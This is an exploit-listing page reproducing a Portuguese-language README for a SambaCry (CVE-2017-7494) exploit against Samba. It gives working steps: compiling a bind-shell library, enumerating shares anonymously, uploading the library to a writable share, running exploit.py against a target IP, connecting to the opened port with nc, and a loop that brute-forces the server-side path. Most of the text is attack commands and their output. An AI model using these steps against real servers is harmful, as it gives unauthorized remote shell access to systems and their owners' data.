Sploitus

Exploit for Code Injection in Samba

githubexploit · 2022-11-01

Exploit Code

README81 lines
## https://sploitus.com/exploit?id=FCA9673D-5D36-5A58-BECE-F5E824E07643
# CVE-2017-7494 SambaCry Exploit

Exploit SambaCry (CVE-2017-7494) para explorar Samba (bind shell sem Metasploit)

Caso necessite alterar a porta, basta alterar a linha nÂş 68 do *bindshell-samba.c* e recompilar:
![image](https://user-images.githubusercontent.com/76706456/199360465-0ade3332-87b6-4c27-8adc-bbed6cc475d2.png)

```
gcc -c -fpic bindshell-samba.c
```
```
gcc -shared -o libbindshell-samba.so bindshell-samba.o
```


**Como explorar:**

Veja os compartilhamentos (neste exemplo estamos usando um usuário anônimo):
```
smbclient -L //192.168.10.131/ -U "" -N
```
```
	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	publico         Disk      Publico
	IPC$            IPC       IPC Service (maq131 server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            CHORA
```


Acesse uma pasta e verifique se o usuário possui permissões de escrita:
```
smbclient //192.168.10.131/publico -U "" -N
```


Caso possuir permissões de escrita, envie o arquivo *libbindshell-samba.so*
```
smb: \> mput libbindshell-samba.so
```
```
Put file libbindshell-samba.so? yes
putting file libbindshell-samba.so as \libbindshell-samba.so (3.5 kb/s) (average 3.5 kb/s)
smb: \> dir
  .                                   D        0  Tue Nov  1 19:44:15 2022
  ..                                  D        0  Wed Jun 14 14:16:35 2017
  libbindshell-samba.so               A     8432  Tue Nov  1 19:44:17 2022

		3997376 blocks of size 1024. 1960284 blocks available
smb: \>
```


**Em seguida, basta executar o exploit:**
`python2 exploit.py -t target_ip -m path_absoluto_server_side`
Exemplo:
```
python2 exploit.py -t 192.168.10.131 -m /home/publico/libbindshell-samba.so
```

Conecte na porta 6699/TCP:
```
nc -vn 192.168.10.131 6699
```

![image](https://user-images.githubusercontent.com/76706456/199361239-069544a7-0ef1-4868-8f58-7e6db17f5e2b.png)


**Caso não souber o PATH absoluto do lado do servidor, convém realizar guessing e aguardar a porta 6699/TCP abrir:**
```
for i in $(cat paths.txt);do python2 exploit.py -t 192.168.10.131 -m $i/publico/libbindshell-samba.so 2>/dev/null;done
```